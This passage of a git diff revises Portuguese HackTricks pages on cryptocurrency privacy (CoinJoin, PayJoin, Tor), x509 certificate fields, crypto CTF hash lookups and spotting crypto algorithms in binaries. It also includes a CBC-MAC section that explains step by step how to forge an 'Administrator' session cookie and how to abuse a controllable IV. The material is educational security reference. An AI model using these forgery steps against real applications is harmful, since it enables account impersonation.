rastreadas. +**CoinJoin** mescla várias transações de diferentes usuários em uma, complicando o processo para qualquer um que tente combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas. -Exemplos de transações que podem ter usado o CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço similar no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores. +Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores. ## PayJoin -Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de outputs iguais do CoinJoin. Isso torna extremamente difícil de detectar e poderia invalidar a heurística comum de propriedade de input usada por entidades de vigilância de transações. +Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de saídas iguais do CoinJoin. Isso torna extremamente difícil de detectar e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` -Transações como a acima poderiam ser PayJoin, aumentando a privacidade enquanto permanecem indistinguíveis das transações padrão de bitcoin. +Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis das transações padrão de bitcoin. -**A utilização do PayJoin poderia perturbar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional. +**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional. # Melhores Práticas para Privacidade em Criptomoedas ## **Técnicas de Sincronização de Carteiras** -Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam: +Para manter a privacidade e a segurança, a sincronização de carteiras com a blockchain é crucial. Dois métodos se destacam: -- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já feitas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado. -- **Filtragem de bloco do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que as carteiras identifiquem transações relevantes sem expor interesses específicos a observadores de rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada. +- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado. +- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que as carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada. ## **Utilizando Tor para Anonimato** -Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar o Tor para mascarar seu endereço IP, aumentando a privacidade ao interagir com a rede. +Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar o Tor para ocultar seu endereço IP, melhorando a privacidade ao interagir com a rede. ## **Prevenindo Reutilização de Endereços** @@ -163,24 +163,24 @@ Para proteger a privacidade, é vital usar um novo endereço para cada transaç ## **Estratégias para Privacidade de Transações** - **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade. -- **Evitar troco**: Optar por transações que não exigem troco melhora a privacidade ao interromper métodos de detecção de troco. -- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade. +- **Evitar troco**: Optar por transações que não exigem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco. +- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar várias saídas de troco ainda pode melhorar a privacidade. # **Monero: Um Farol de Anonimato** -O Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão de privacidade. +Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade. -# **Ethereum: Gás e Transações** +# **Ethereum: Gas e Transações** -## **Compreendendo o Gás** +## **Entendendo Gas** -O Gás mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação custando 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gás e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso sendo reembolsado. +Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0.00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado. ## **Executando Transações** -Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou contratos inteligentes. Elas requerem uma taxa e devem ser mineradas. Informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, valor, dados opcionais, limite de gás e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade dele nos dados da transação. +Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação. -Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas priorizando privacidade e segurança. +Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança. ## Referências @@ -191,3 +191,19 @@ Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje s * [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) * [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) * [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse) + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md index cd33b73fa..def09db60 100644 --- a/crypto-and-stego/certificates.md +++ b/crypto-and-stego/certificates.md @@ -6,11 +6,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} @@ -27,7 +27,7 @@ Acesse hoje: Um **certificado de chave pública** é uma ID digital usada em criptografia para provar que alguém possui uma chave pública. Ele inclui os detalhes da chave, a identidade do proprietário (o sujeito) e uma assinatura digital de uma autoridade confiável (o emissor). Se o software confia no emissor e a assinatura é válida, a comunicação segura com o proprietário da chave é possível. -Os certificados são emitidos principalmente por [autoridades certificadoras](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) em uma configuração de [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Outro método é a [rede de confiança](https://en.wikipedia.org/wiki/Web\_of\_trust), onde os usuários verificam diretamente as chaves uns dos outros. O formato comum para certificados é [X.509](https://en.wikipedia.org/wiki/X.509), que pode ser adaptado para necessidades específicas conforme descrito na RFC 5280. +Os certificados são emitidos principalmente por [autoridades certificadoras](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) em uma configuração de [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Outro método é a [web de confiança](https://en.wikipedia.org/wiki/Web\_of\_trust), onde os usuários verificam diretamente as chaves uns dos outros. O formato comum para certificados é [X.509](https://en.wikipedia.org/wiki/X.509), que pode ser adaptado para necessidades específicas conforme descrito na RFC 5280. ## Campos Comuns x509 @@ -35,13 +35,13 @@ Os certificados são emitidos principalmente por [autoridades certificadoras](ht Em certificados x509, vários **campos** desempenham papéis críticos na garantia da validade e segurança do certificado. Aqui está uma análise desses campos: -* **Número da Versão** indica a versão do formato x509. +* **Número da Versão** significa a versão do formato x509. * **Número de Série** identifica exclusivamente o certificado dentro do sistema de uma Autoridade Certificadora (CA), principalmente para rastreamento de revogação. * O campo **Sujeito** representa o proprietário do certificado, que pode ser uma máquina, um indivíduo ou uma organização. Inclui identificação detalhada, como: * **Nome Comum (CN)**: Domínios cobertos pelo certificado. * **País (C)**, **Localidade (L)**, **Estado ou Província (ST, S ou P)**, **Organização (O)** e **Unidade Organizacional (OU)** fornecem detalhes geográficos e organizacionais. * **Nome Distinto (DN)** encapsula a identificação completa do sujeito. -* **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes ao Sujeito para a CA. +* **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes aos do Sujeito para a CA. * O **Período de Validade** é marcado por timestamps **Não Antes** e **Não Depois**, garantindo que o certificado não seja usado antes ou depois de uma certa data. * A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública. * As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendida**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado. @@ -51,7 +51,7 @@ Em certificados x509, vários **campos** desempenham papéis críticos na garant * **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave. * **Uso de Chave Estendida** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS. * **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente. -* Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem a singularidade e rastreabilidade das chaves. +* Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem unicidade e rastreabilidade das chaves. * **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e verificar o status de revogação do certificado. * **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado. ```python @@ -212,7 +212,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md index e1380ad2a..778f06df5 100644 --- a/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md +++ b/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md @@ -1,27 +1,28 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)** ](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -- Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -- **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} + # CBC -Se o **cookie** for **apenas** o **nome de usuário** (ou a primeira parte do cookie for o nome de usuário) e você deseja se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **forçar a entrada** do **primeiro byte** do cookie. +Se o **cookie** for **apenas** o **nome de usuário** (ou a primeira parte do cookie for o nome de usuário) e você quiser se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **bruteforce** o **primeiro byte** do cookie. # CBC-MAC -**Código de autenticação de mensagem de encadeamento de bloco de cifra** (**CBC-MAC**) é um método usado em criptografia. Funciona pegando uma mensagem e criptografando-a bloco por bloco, onde a criptografia de cada bloco está vinculada ao anterior. Esse processo cria uma **cadeia de blocos**, garantindo que a alteração de até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança. +**Código de autenticação de mensagem em encadeamento de bloco (CBC-MAC)** é um método usado em criptografia. Funciona pegando uma mensagem e criptografando-a bloco por bloco, onde a criptografia de cada bloco está vinculada à anterior. Esse processo cria uma **cadeia de blocos**, garantindo que mudar até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança. -Para calcular o CBC-MAC da mensagem m, criptografa-se m no modo CBC com vetor de inicialização zero e mantém o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos ![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E: +Para calcular o CBC-MAC da mensagem m, criptografa-se m em modo CBC com vetor de inicialização zero e mantém-se o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png) @@ -30,36 +31,36 @@ Para calcular o CBC-MAC da mensagem m, criptografa-se m no modo CBC com vetor de Com o CBC-MAC, geralmente o **IV usado é 0**.\ Isso é um problema porque 2 mensagens conhecidas (`m1` e `m2`) independentemente gerarão 2 assinaturas (`s1` e `s2`). Então: -- `E(m1 XOR 0) = s1` -- `E(m2 XOR 0) = s2` +* `E(m1 XOR 0) = s1` +* `E(m2 XOR 0) = s2` Então, uma mensagem composta por m1 e m2 concatenados (m3) gerará 2 assinaturas (s31 e s32): -- `E(m1 XOR 0) = s31 = s1` -- `E(m2 XOR s1) = s32` +* `E(m1 XOR 0) = s31 = s1` +* `E(m2 XOR s1) = s32` **O que é possível calcular sem conhecer a chave da criptografia.** -Imagine que você está criptografando o nome **Administrador** em blocos de **8 bytes**: +Imagine que você está criptografando o nome **Administrator** em blocos de **8bytes**: -- `Administ` -- `rator\00\00\00` +* `Administ` +* `rator\00\00\00` Você pode criar um nome de usuário chamado **Administ** (m1) e recuperar a assinatura (s1).\ -Em seguida, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\ -agora, você pode usar s32 como a assinatura do nome completo **Administrador**. +Então, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\ +Agora, você pode usar s32 como a assinatura do nome completo **Administrator**. ### Resumo 1. Obtenha a assinatura do nome de usuário **Administ** (m1) que é s1 -2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** é s32**.** -3. Defina o cookie como s32 e ele será um cookie válido para o usuário **Administrador**. +2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** que é s32**.** +3. Defina o cookie para s32 e será um cookie válido para o usuário **Administrator**. # Ataque Controlando IV Se você puder controlar o IV usado, o ataque pode ser muito fácil.\ -Se os cookies forem apenas o nome de usuário criptografado, para se passar pelo usuário "**administrador**" você pode criar o usuário "**Administrador**" e obterá seu cookie.\ -Agora, se você puder controlar o IV, poderá alterar o primeiro byte do IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrador**. Este cookie será válido para **se passar** pelo usuário **administrador** com o IV inicial. +Se os cookies forem apenas o nome de usuário criptografado, para se passar pelo usuário "**administrator**" você pode criar o usuário "**Administrator**" e obter seu cookie.\ +Agora, se você puder controlar o IV, pode mudar o primeiro byte do IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrator.** Este cookie será válido para **se passar** pelo usuário **administrator** com o **IV** inicial. ## Referências @@ -67,16 +68,16 @@ Mais informações em [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikiped {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)** ](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -- Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -- **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/crypto-and-stego/crypto-ctfs-tricks.md b/crypto-and-stego/crypto-ctfs-tricks.md index 54d01a07d..cacc91242 100644 --- a/crypto-and-stego/crypto-ctfs-tricks.md +++ b/crypto-and-stego/crypto-ctfs-tricks.md @@ -1,21 +1,21 @@ -# Truques de Crypto CTFs +# Crypto CTFs Tricks {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Bancos de Dados de Hashes Online +## Online Hashes DBs * _**Pesquise no Google**_ * [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) @@ -29,34 +29,34 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/crypto-and-stego/cryptographic-algorithms/README.md b/crypto-and-stego/cryptographic-algorithms/README.md index fc4d7bfbb..1fc715c01 100644 --- a/crypto-and-stego/cryptographic-algorithms/README.md +++ b/crypto-and-stego/cryptographic-algorithms/README.md @@ -3,25 +3,25 @@ ## Algoritmos Criptográficos/Compressão {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} ## Identificando Algoritmos -Se você se deparar com um código **usando deslocamentos à direita e à esquerda, xors e várias operações aritméticas**, é altamente provável que seja a implementação de um **algoritmo criptográfico**. Aqui serão mostradas algumas maneiras de **identificar o algoritmo usado sem precisar reverter cada etapa**. +Se você se deparar com um código **usando deslocamentos à direita e à esquerda, xors e várias operações aritméticas**, é altamente provável que seja a implementação de um **algoritmo criptográfico**. Aqui serão mostradas algumas maneiras de **identificar o algoritmo que está sendo usado sem precisar reverter cada passo**. -### Funções de API +### Funções da API **CryptDeriveKey** @@ -29,46 +29,46 @@ Se esta função for usada, você pode descobrir qual **algoritmo está sendo us ![](<../../.gitbook/assets/image (156).png>) -Consulte aqui a tabela de algoritmos possíveis e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Verifique aqui a tabela de possíveis algoritmos e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Comprime e descomprime um buffer de dados fornecido. +Comprime e descomprime um determinado buffer de dados. **CryptAcquireContext** -De [documentação](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): A função **CryptAcquireContext** é usada para adquirir um identificador para um contêiner de chave específico dentro de um provedor de serviços criptográficos (CSP) específico. **Este identificador retornado é usado em chamadas para funções CryptoAPI** que usam o CSP selecionado. +Dos [documentos](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): A função **CryptAcquireContext** é usada para adquirir um identificador para um determinado contêiner de chaves dentro de um determinado provedor de serviços criptográficos (CSP). **Este identificador retornado é usado em chamadas para funções da CryptoAPI** que utilizam o CSP selecionado. **CryptCreateHash** -Inicia o processo de hash de um fluxo de dados. Se esta função for usada, você pode descobrir qual **algoritmo está sendo usado** verificando o valor do segundo parâmetro: +Inicia a hash de um fluxo de dados. Se esta função for usada, você pode descobrir qual **algoritmo está sendo usado** verificando o valor do segundo parâmetro: ![](<../../.gitbook/assets/image (549).png>) \ -Consulte aqui a tabela de algoritmos possíveis e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Verifique aqui a tabela de possíveis algoritmos e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Constantes de Código +### Constantes de código -Às vezes é muito fácil identificar um algoritmo graças ao fato de que ele precisa usar um valor especial e único. +Às vezes, é realmente fácil identificar um algoritmo graças ao fato de que ele precisa usar um valor especial e único. ![](<../../.gitbook/assets/image (833).png>) -Se você pesquisar pela primeira constante no Google, é isso que você obtém: +Se você pesquisar a primeira constante no Google, isso é o que você obtém: ![](<../../.gitbook/assets/image (529).png>) -Portanto, você pode assumir que a função decompilada é um **calculador sha256**.\ -Você pode pesquisar qualquer uma das outras constantes e obterá (provavelmente) o mesmo resultado. +Portanto, você pode assumir que a função decompilada é um **calculador de sha256.**\ +Você pode pesquisar qualquer uma das outras constantes e provavelmente obterá o mesmo resultado. -### Informações de Dados +### informações de dados Se o código não tiver nenhuma constante significativa, pode estar **carregando informações da seção .data**.\ -Você pode acessar esses dados, **agrupar o primeiro dword** e pesquisar no Google como fizemos na seção anterior: +Você pode acessar esses dados, **agrupar o primeiro dword** e pesquisá-lo no Google, como fizemos na seção anterior: ![](<../../.gitbook/assets/image (531).png>) -Neste caso, se você procurar por **0xA56363C6**, você pode descobrir que está relacionado às **tabelas do algoritmo AES**. +Neste caso, se você procurar **0xA56363C6**, pode descobrir que está relacionado às **tabelas do 